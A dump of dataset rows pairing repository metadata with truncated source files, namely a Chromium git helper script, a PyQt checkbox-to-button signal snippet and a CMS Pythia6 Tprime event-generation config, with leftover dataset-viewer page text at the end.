] | permissive | TrellixVulnTeam/proto-quic_1V94 | 1a3a03ac7a08a494b3d4e9857b24bb8f2c2cd673 | feee14d96ee95313f236e0f0e3ff7719246c84f7 | refs/heads/master | 2023-04-01T14:36:53.888576 | 2019-10-17T02:23:04 | 2019-10-17T02:23:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,410 | py | #!/usr/bin/env python
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import sys
import subprocess2
import git_common as git
def main(args):
default_args = git.config_list... | [
"[email protected]"
] | |
2b55e707ba9ff684d0159528ae983b83dceb3b6d | 2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae | /python/python_22433.py | a406e0709451fe6478ee3ca985fe25f91ec65b95 | [] | no_license | AK-1121/code_extraction | cc812b6832b112e3ffcc2bb7eb4237fd85c88c01 | 5297a4a3aab3bb37efa24a89636935da04a1f8b6 | refs/heads/master | 2020-05-23T08:04:11.789141 | 2015-10-22T19:19:40 | 2015-10-22T19:19:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 145 | py | # How to disable button until check box is checked in pyqt?
connect(checkbox, SIGNAL(stateChanged(int)), button, SLOT(buttonStateChanged(int)));
| [
"[email protected]"
] | |
c5d99d7ef7f2e3f44b277992637c51bbbcdc00d1 | 0fccee4c738449f5e0a8f52ea5acabf51db0e910 | /genfragments/EightTeV/TprimeTprime/TprimeTprimeToTHTHinc_M_625_TuneZ2star_8TeV-madgraph_cff.py | 4d932f949768263c528bf82c33419cee1ca13447 | [] | no_license | cms-sw/genproductions | f308ffaf3586c19b29853db40e6d662e937940ff | dd3d3a3826343d4f75ec36b4662b6e9ff1f270f4 | refs/heads/master | 2023-08-30T17:26:02.581596 | 2023-08-29T14:53:43 | 2023-08-29T14:53:43 | 11,424,867 | 69 | 987 | null | 2023-09-14T12:41:28 | 2013-07-15T14:18:33 | Python | UTF-8 | Python | false | false | 5,115 | py | import FWCore.ParameterSet.Config as cms
#from Configuration.Generator.PythiaUEZ2Settings_cfi import *
from Configuration.Generator.PythiaUEZ2starSettings_cfi import *
generator = cms.EDFilter("Pythia6HadronizerFilter",
pythiaHepMCVerbosity = cms.untracked.bool(False),
maxEventsToPrint = cms.untracked.int32(0)... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.